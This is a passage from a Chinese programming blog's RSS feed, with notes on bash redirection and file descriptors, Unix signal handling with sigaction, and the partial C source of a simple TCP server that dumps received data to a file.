#注意这个用法很特殊，你不能NEW_STDOUT=15; exec ${NEW_STDOUT}&gt;&amp;1</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;echo "hello" &gt;&amp;$NEW_STDOUT # echo "hello" &gt;&amp;${NEW_STDOUT}也可以</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;echo ${NEW_STDOUT} #从10开始分配</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;exec {NEW_STDOUT}&gt;&amp;-</div><div>&nbsp; &nbsp; 2. 关闭一个fd的方法：exec fd&gt;&amp;- 或者 exec fd&lt;&amp;-</div><div>&nbsp; &nbsp; 3. move fd的方法：new_fd&gt;&amp;old_fd-，move完之后，old_fd会被关掉；</div><div></div><div>实战:</div><div>&nbsp; &nbsp; (echo "I'm from stdout"; echo "I'm from stderr" 1&gt;&amp;2) 2&gt;&amp;1 &gt;file1 #file1里将会有1行I'm from stdout，原因是stdout赋给了stderr，file1赋给了stdout，2句话里，打印到stdout的那句被写入file1，打印到stderr被写入到了stdout</div><div>&nbsp; &nbsp; (echo "I'm from stdout"; echo "I'm from stderr" 1&gt;&amp;2) &gt;file1 2&gt;&amp;1 #file1里将会有2行，原因是file1赋给了stdout，stdout赋给了stderr（其实也就是file1赋给了stderr），这个时候，stdout和stderr都指向了file1</div><div>&nbsp; &nbsp; (echo "I'm from stdout"; echo "I'm from stderr" 1&gt;&amp;2) &amp;&gt; file1 #file1里将会有2行，file1前面的空格可以省略</div><div>&nbsp; &nbsp; (echo "I'm from stdout"; echo "I'm from stderr" 1&gt;&amp;2) &gt;&amp; file1 #file1里将会有2行，file1前面的空格可以省略</div><div>&nbsp; &nbsp; (echo "I'm from stdout"; echo "I'm from stderr" 1&gt;&amp;2) |&amp; cat &gt; file1 #file1里将会有2行，file1前面的空格可以省略</div><div>&nbsp; &nbsp; (echo "I'm from stdout"; echo "I'm from stderr" 1&gt;&amp;2) 2&gt;&amp;1 | cat &gt; file1 #file1里将会有2行，file1前面的空格可以省略</div><div></div><div>&nbsp; &nbsp; (echo "I'm from stdout"; echo "I'm from stderr" 1&gt;&amp;2) &gt;file1 | grep err #grep fail</div><div>&nbsp; &nbsp; (echo "I'm from stdout"; echo "I'm from stderr" 1&gt;&amp;2) 2&gt;&amp;1 &gt;file1 | grep err #grep ok</div><div>&nbsp; &nbsp; (echo "I'm from stdout"; echo "I'm from stderr" 1&gt;&amp;2) 3&gt;&amp;1 1&gt;&amp;2 2&gt;&amp;3-| grep stderr #grep ok，这其实实现了stdout和stderr的交换，类似于通过c=a;a=b;b=c;来实现a和b的交换（先把a赋给c，紧接着找到b赋给a，然后用c再赋给b）</div><div>&nbsp; &nbsp; (echo "I'm from stdout"; echo "I'm from stderr" 1&gt;&amp;2) 1&gt;&amp;2- | grep stderr #grep ok</div><div>&nbsp; &nbsp; echo "hello world" | tee &gt;(grep hello) &gt;(grep world) &gt;/dev/null #结合上tee的多路dispatch，功能会更强大</div><div></div><div>&nbsp; &nbsp; &gt; file1 #create file1 or truncate file1 to zero size</div><div>&nbsp; &nbsp; &lt;file1 cat #&lt;file1这部分放到命令的前面或者后面都可以</div><div>&nbsp; &nbsp; 2&gt;&amp;1 ls not_found_file | grep found #grep ok</div><div>&nbsp; &nbsp; cat &lt; file1 &gt; file2 #等同于cp file1 file2</div><div></div><div>&lt;&gt;高级用法:</div><div>&nbsp; &nbsp; 1. 写到一个文件中指定的地方：</div><div>&nbsp; &nbsp; &nbsp; &nbsp; echo 1234567890 &gt; file1 &nbsp; # 写字符串到"File".</div><div>&nbsp; &nbsp; &nbsp; &nbsp; exec 3&lt;&gt; file1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 打开"File"并且给它分配fd 3.</div><div>&nbsp; &nbsp; &nbsp; &nbsp; read -n 4 &lt;&amp;3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 只读4个字符.</div><div>&nbsp; &nbsp; &nbsp; &nbsp; echo -n . &gt;&amp;3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 写一个小数点.</div><div>&nbsp; &nbsp; &nbsp; &nbsp; exec 3&gt;&amp;- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 关闭fd 3.</div><div>&nbsp; &nbsp; &nbsp; &nbsp; cat file1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # ==&gt; 1234.67890</div><div></div><div>&nbsp; &nbsp; 2. 用bash下载网页</div><div>&nbsp; &nbsp; &nbsp; &nbsp; $ exec 3&lt;&gt;/dev/tcp/www.baidu.com/80</div><div>&nbsp; &nbsp; &nbsp; &nbsp; $ echo -e "GET / HTTP/1.0\r\n\r\n" &gt;&amp;3</div><div>&nbsp; &nbsp; &nbsp; &nbsp; $ cat &lt;&amp;3</div><div>&nbsp; &nbsp; &nbsp; &nbsp; $ ls -l /proc/$$/fd</div><div>&nbsp; &nbsp; &nbsp; &nbsp; total 0</div><div>&nbsp; &nbsp; &nbsp; &nbsp; lr-x------ 1 admin admin 64 2016-03-30 10:14 0 -&gt; /dev/pts/413</div><div>&nbsp; &nbsp; &nbsp; &nbsp; lrwx------ 1 admin admin 64 2016-03-30 10:14 1 -&gt; /dev/pts/413</div><div>&nbsp; &nbsp; &nbsp; &nbsp; lrwx------ 1 admin admin 64 2016-03-30 10:14 2 -&gt; /dev/pts/413</div><div>&nbsp; &nbsp; &nbsp; &nbsp; lrwx------ 1 admin admin 64 2016-03-30 10:14 255 -&gt; /dev/pts/413</div><div>&nbsp; &nbsp; &nbsp; &nbsp; lrwx------ 1 admin admin 64 2016-03-30 10:14 3 -&gt; socket:[173770096]</div><div>&nbsp; &nbsp; &nbsp; &nbsp; $ exec 3&gt;&amp;- # exec 3&lt;&amp;-也可以关闭</div><img src ="http://www.blogjava.net/bacoo/aggbug/429893.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2016-03-30 12:10 <a href="http://www.blogjava.net/bacoo/archive/2016/03/30/429893.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>signal process</title><link>http://www.blogjava.net/bacoo/archive/2016/02/17/429353.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Wed, 17 Feb 2016 03:30:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2016/02/17/429353.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/429353.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2016/02/17/429353.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/429353.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/429353.html</trackback:ping><description><![CDATA[<div>信号学习：</div><div>1。简单点用signal（主要就1个api，signal(SIGINT, SignalHandler)和signal(SIGINT, SIG_IGN)就是全部了）；</div><div>2。复杂点用sigaction（可以设置在handling期间，允许/不允许哪些信号打断自己）；</div><div>3。当前线程handling过程中，当前线程不会因为相同signal再次进入handler，但当前线程可以被别的signal打断重新进入handler，别的线程可以进入handler；</div><div>例如下面这个例子，只有一个主线程，先被SIGINT打断进入handler，虽然又被SIGTERM打断再次进入handler：</div><div>#0 &nbsp;0x00007f7cc55dc200 in __nanosleep_nocancel () at ../sysdeps/unix/syscall-template.S:82</div><div>#1 &nbsp;0x00007f7cc55dc090 in __sleep (seconds=&lt;value optimized out&gt;) at ../sysdeps/unix/sysv/linux/sleep.c:138</div><div>#2 &nbsp;0x0000000000468300 in SignalHandler (sig=15) at src/dispatcher2_server.cpp:78</div><div>#3 &nbsp;&lt;signal handler called&gt;</div><div>#4 &nbsp;0x00007f7cc55dc200 in __nanosleep_nocancel () at ../sysdeps/unix/syscall-template.S:82</div><div>#5 &nbsp;0x00007f7cc55dc090 in __sleep (seconds=&lt;value optimized out&gt;) at ../sysdeps/unix/sysv/linux/sleep.c:138</div><div>#6 &nbsp;0x0000000000468300 in SignalHandler (sig=2) at src/dispatcher2_server.cpp:78</div><div>#7 &nbsp;&lt;signal handler called&gt;</div><div>#8 &nbsp;0x00007f7cc55dc200 in __nanosleep_nocancel () at ../sysdeps/unix/syscall-template.S:82</div><div>#9 &nbsp;0x00007f7cc55dc090 in __sleep (seconds=&lt;value optimized out&gt;) at ../sysdeps/unix/sysv/linux/sleep.c:138</div><div>#10 0x000000000046844a in main (argc=1, argv=0x7fff048454a8) at src/dispatcher2_server.cpp:102</div><div></div><div>demo：</div><div>static void SignalHandler(int sig) {</div><div>&nbsp; &nbsp; if (SIGTERM == sig || SIGINT == sig) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; struct sigaction sa;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; memset(&amp;sa, 0, sizeof(sa));</div><div>&nbsp; &nbsp; &nbsp; &nbsp; sa.sa_handler = SIG_IGN;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; sigaction(SIGINT, &amp;sa, NULL); // keep other threads from entering this handler</div><div>&nbsp; &nbsp; &nbsp; &nbsp; sigaction(SIGTERM, &amp;sa, NULL); // keep other threads from entering this handler</div><div>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; //...</div><div>&nbsp; &nbsp; }</div><div>}</div><div></div><div>struct sigaction sa;</div><div>memset(&amp;sa, 0, sizeof(sa));</div><div>sa.sa_handler = SignalHandler;</div><div>sigfillset(&amp;sa.sa_mask); // block every signal during handling</div><div>sigaction(SIGINT, &amp;sa, NULL);</div><div>sigaction(SIGTERM, &amp;sa, NULL);<br /><br /><br /><pre style="line-height: normal;">介绍：http://www.alexonlinux.com/signal-handling-in-linux<br />demo：http://aspyct.org/blog/2012/08/25/unix-signal-handling-example/<br /><br /><br /></pre></div><img src ="http://www.blogjava.net/bacoo/aggbug/429353.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2016-02-17 11:30 <a href="http://www.blogjava.net/bacoo/archive/2016/02/17/429353.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>tcp_server that is used to dump tcp datas</title><link>http://www.blogjava.net/bacoo/archive/2015/12/10/428603.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Thu, 10 Dec 2015 13:15:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2015/12/10/428603.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/428603.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2015/12/10/428603.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/428603.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/428603.html</trackback:ping><description><![CDATA[<div style="background-color:#eeeeee;font-size:13px;border:1px solid #CCCCCC;padding-right: 5px;padding-bottom: 4px;padding-left: 4px;padding-top: 4px;width: 98%;word-break:break-all"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />-->#include&nbsp;&lt;stdlib.h&gt;<br />#include&nbsp;&lt;sys/types.h&gt;<br />#include&nbsp;&lt;stdio.h&gt;<br />#include&nbsp;&lt;sys/socket.h&gt;<br />#include&nbsp;&lt;netinet/<span style="color: #0000FF; ">in</span>.h&gt;<br />#include&nbsp;&lt;<span style="color: #0000FF; ">string</span>.h&gt;<br />#include&nbsp;&lt;getopt.h&gt;<br /><br /><span style="color: #0000FF; ">void</span>&nbsp;get_remote_ip_and_port(<span style="color: #0000FF; ">struct</span>&nbsp;sockaddr_in*&nbsp;s_add,&nbsp;<span style="color: #0000FF; ">int</span>*&nbsp;ip,&nbsp;<span style="color: #0000FF; ">int</span>*&nbsp;port)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(!s_add&nbsp;||&nbsp;!ip&nbsp;||&nbsp;!port)&nbsp;<span style="color: #0000FF; ">return</span>;<br />&nbsp;&nbsp;&nbsp;&nbsp;*port&nbsp;=&nbsp;ntohs(s_add-&gt;sin_port);<br />&nbsp;&nbsp;&nbsp;&nbsp;*ip&nbsp;=&nbsp;s_add-&gt;sin_addr.s_addr;<br />}<br /><br /><span style="color: #0000FF; ">void</span>&nbsp;get_local_ip_and_port(<span style="color: #0000FF; ">int</span>&nbsp;fd,&nbsp;<span style="color: #0000FF; ">int</span>*&nbsp;ip,&nbsp;<span style="color: #0000FF; ">int</span>*&nbsp;port)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(fd&nbsp;&lt;=&nbsp;0&nbsp;||&nbsp;!ip&nbsp;||&nbsp;!port)&nbsp;<span style="color: #0000FF; ">return</span>;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">struct</span>&nbsp;sockaddr_in&nbsp;s_add;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;sin_size&nbsp;=&nbsp;<span style="color: #0000FF; ">sizeof</span>(s_add);<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>(getsockname(fd,&nbsp;(<span style="color: #0000FF; ">struct</span>&nbsp;sockaddr&nbsp;*)&amp;s_add,&nbsp;&amp;sin_size)&nbsp;==&nbsp;0&nbsp;&amp;&amp;&nbsp;s_add.sin_family&nbsp;==&nbsp;AF_INET&nbsp;&amp;&amp;&nbsp;sin_size&nbsp;==&nbsp;<span style="color: #0000FF; ">sizeof</span>(s_add))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*port&nbsp;=&nbsp;ntohs(s_add.sin_port);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*ip&nbsp;=&nbsp;s_add.sin_addr.s_addr;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}<br /><br /><span style="color: #0000FF; ">char</span>*&nbsp;get_ip_str(<span style="color: #0000FF; ">int</span>&nbsp;ip,&nbsp;<span style="color: #0000FF; ">char</span>*&nbsp;buf)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;inet_ntop(AF_INET,&nbsp;&amp;ip,&nbsp;buf,&nbsp;INET_ADDRSTRLEN);<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;buf;<br />}<br /><br /><span style="color: #0000FF; ">void</span>&nbsp;usage(<span style="color: #0000FF; ">char</span>*&nbsp;argv0)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stdout,<br />"Usage:&nbsp;%s&nbsp;[-p&nbsp;&lt;port&gt;]&nbsp;[-o&nbsp;output_file]&nbsp;[-h]\n\n"<br />"&nbsp;-p&nbsp;&lt;port&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;local&nbsp;port&nbsp;used&nbsp;to&nbsp;listen,&nbsp;by&nbsp;default,&nbsp;8888\n"<br />"&nbsp;-o&nbsp;&lt;output_file&gt;&nbsp;output&nbsp;file&nbsp;used&nbsp;to&nbsp;record&nbsp;the&nbsp;data&nbsp;received&nbsp;from&nbsp;client,&nbsp;by&nbsp;default,&nbsp;dump&nbsp;to&nbsp;./x.in\n"<br />"&nbsp;-h&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;this&nbsp;usage\n"<br />"\n",&nbsp;argv0);<br />}<br /><br /><span style="color: #0000FF; ">int</span>&nbsp;main(<span style="color: #0000FF; ">int</span>&nbsp;argc,&nbsp;<span style="color: #0000FF; ">char</span>*&nbsp;argv[])&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;sfp&nbsp;=&nbsp;0;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;nfp&nbsp;=&nbsp;0;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">struct</span>&nbsp;sockaddr_in&nbsp;s_add,&nbsp;c_add;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;sin_size&nbsp;=&nbsp;0;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;server_port&nbsp;=&nbsp;8888;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;remote_port&nbsp;=&nbsp;0;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;remote_ip&nbsp;=&nbsp;0;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">char</span>&nbsp;remote_ip_str[INET_ADDRSTRLEN];<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;local_port&nbsp;=&nbsp;0;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;local_ip&nbsp;=&nbsp;0;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">char</span>&nbsp;local_ip_str[INET_ADDRSTRLEN];<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">char</span>&nbsp;output_file[256];<br />&nbsp;&nbsp;&nbsp;&nbsp;sprintf(output_file,&nbsp;"%s",&nbsp;"./x.in");<br />&nbsp;&nbsp;&nbsp;&nbsp;FILE*&nbsp;ofp&nbsp;=&nbsp;0;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">char</span>&nbsp;c&nbsp;=&nbsp;'\0';<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">struct</span>&nbsp;option&nbsp;long_options[]&nbsp;=&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{"help",&nbsp;0,&nbsp;0,&nbsp;'h'},<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{0,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,&nbsp;0,&nbsp;0}<br />&nbsp;&nbsp;&nbsp;&nbsp;};<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">while</span>&nbsp;(-1&nbsp;!=&nbsp;(c&nbsp;=&nbsp;getopt_long(argc,&nbsp;argv,&nbsp;":p:o:h",&nbsp;long_options,&nbsp;NULL)))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">switch</span>&nbsp;(c)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">case</span>&nbsp;'p':<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;server_port&nbsp;=&nbsp;atoi(optarg);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">break</span>;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">case</span>&nbsp;'o':<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sprintf(output_file,&nbsp;"%s",&nbsp;optarg);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">break</span>;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">case</span>&nbsp;'h':<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">case</span>&nbsp;'?':&nbsp;<span style="color: #008000; ">//</span><span style="color: #008000; ">an&nbsp;option&nbsp;character&nbsp;that&nbsp;was&nbsp;not&nbsp;in&nbsp;optstring</span><span style="color: #008000; "><br /></span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">case</span>&nbsp;':':&nbsp;<span style="color: #008000; ">//</span><span style="color: #008000; ">an&nbsp;option&nbsp;with&nbsp;a&nbsp;missing&nbsp;argument</span><span style="color: #008000; "><br /></span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">default</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;usage(argv[0]);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;-1;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;sfp&nbsp;=&nbsp;socket(AF_INET,&nbsp;SOCK_STREAM,&nbsp;0);<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(-1&nbsp;==&nbsp;sfp)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("socket&nbsp;fail&nbsp;!&nbsp;\n");<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;-1;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;printf("socket&nbsp;ok&nbsp;!\n");<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;bzero(&amp;s_add,&nbsp;<span style="color: #0000FF; ">sizeof</span>(<span style="color: #0000FF; ">struct</span>&nbsp;sockaddr_in));<br />&nbsp;&nbsp;&nbsp;&nbsp;s_add.sin_family&nbsp;=&nbsp;AF_INET;<br />&nbsp;&nbsp;&nbsp;&nbsp;s_add.sin_addr.s_addr&nbsp;=&nbsp;htonl(INADDR_ANY);<br />&nbsp;&nbsp;&nbsp;&nbsp;s_add.sin_port&nbsp;=&nbsp;htons(server_port);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(-1&nbsp;==&nbsp;bind(sfp,&nbsp;(<span style="color: #0000FF; ">struct</span>&nbsp;sockaddr&nbsp;*)&nbsp;(&amp;s_add),&nbsp;<span style="color: #0000FF; ">sizeof</span>(<span style="color: #0000FF; ">struct</span>&nbsp;sockaddr)))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("bind&nbsp;fail&nbsp;!\n");<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;-1;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;printf("bind&nbsp;to&nbsp;%d&nbsp;ok!\n",&nbsp;server_port);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(-1&nbsp;==&nbsp;listen(sfp,&nbsp;5))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("listen&nbsp;fail&nbsp;!\n");<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;-1;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;printf("listen&nbsp;ok\n\n");<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;ofp&nbsp;=&nbsp;fopen(output_file,&nbsp;"wrb");<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">while</span>&nbsp;(1)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sin_size&nbsp;=&nbsp;<span style="color: #0000FF; ">sizeof</span>(<span style="color: #0000FF; ">struct</span>&nbsp;sockaddr_in);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nfp&nbsp;=&nbsp;accept(sfp,&nbsp;(<span style="color: #0000FF; ">struct</span>&nbsp;sockaddr&nbsp;*)&nbsp;(&amp;c_add),&nbsp;&amp;sin_size);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(-1&nbsp;==&nbsp;nfp)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("accept&nbsp;fail&nbsp;!\n");<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;-1;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("accept&nbsp;ok!\n");<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;get_remote_ip_and_port(&amp;c_add,&nbsp;&amp;remote_ip,&nbsp;&amp;remote_port);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;get_local_ip_and_port(nfp,&nbsp;&amp;local_ip,&nbsp;&amp;local_port);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("establish&nbsp;connect&nbsp;%s:%d&nbsp;-&gt;&nbsp;%s:%d\n",&nbsp;get_ip_str(remote_ip,&nbsp;remote_ip_str),&nbsp;remote_port,&nbsp;get_ip_str(local_ip,&nbsp;local_ip_str),&nbsp;local_port);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fprintf(ofp,&nbsp;"-----------------&nbsp;establish&nbsp;connect&nbsp;%s:%d&nbsp;-&gt;&nbsp;%s:%d&nbsp;-----------------{\n",&nbsp;get_ip_str(remote_ip,&nbsp;remote_ip_str),&nbsp;remote_port,&nbsp;get_ip_str(local_ip,&nbsp;local_ip_str),&nbsp;local_port);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">char</span>&nbsp;buffer[1024];<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;recbytes&nbsp;=&nbsp;0;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;total_bytes&nbsp;=&nbsp;0;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">while</span>&nbsp;((recbytes&nbsp;=&nbsp;read(nfp,&nbsp;buffer,&nbsp;1024))&nbsp;&gt;&nbsp;0)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;total_bytes&nbsp;+=&nbsp;recbytes;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fwrite(buffer,&nbsp;1,&nbsp;recbytes,&nbsp;ofp);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fprintf(ofp,&nbsp;"\n}----------------&nbsp;receive&nbsp;%d&nbsp;bytes&nbsp;------------------\n\n",&nbsp;total_bytes);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("receive&nbsp;over!\n\n");<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fflush(stdout);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fflush(ofp);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;close(nfp);<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;fclose(ofp);<br />&nbsp;&nbsp;&nbsp;&nbsp;close(sfp);<br /><br 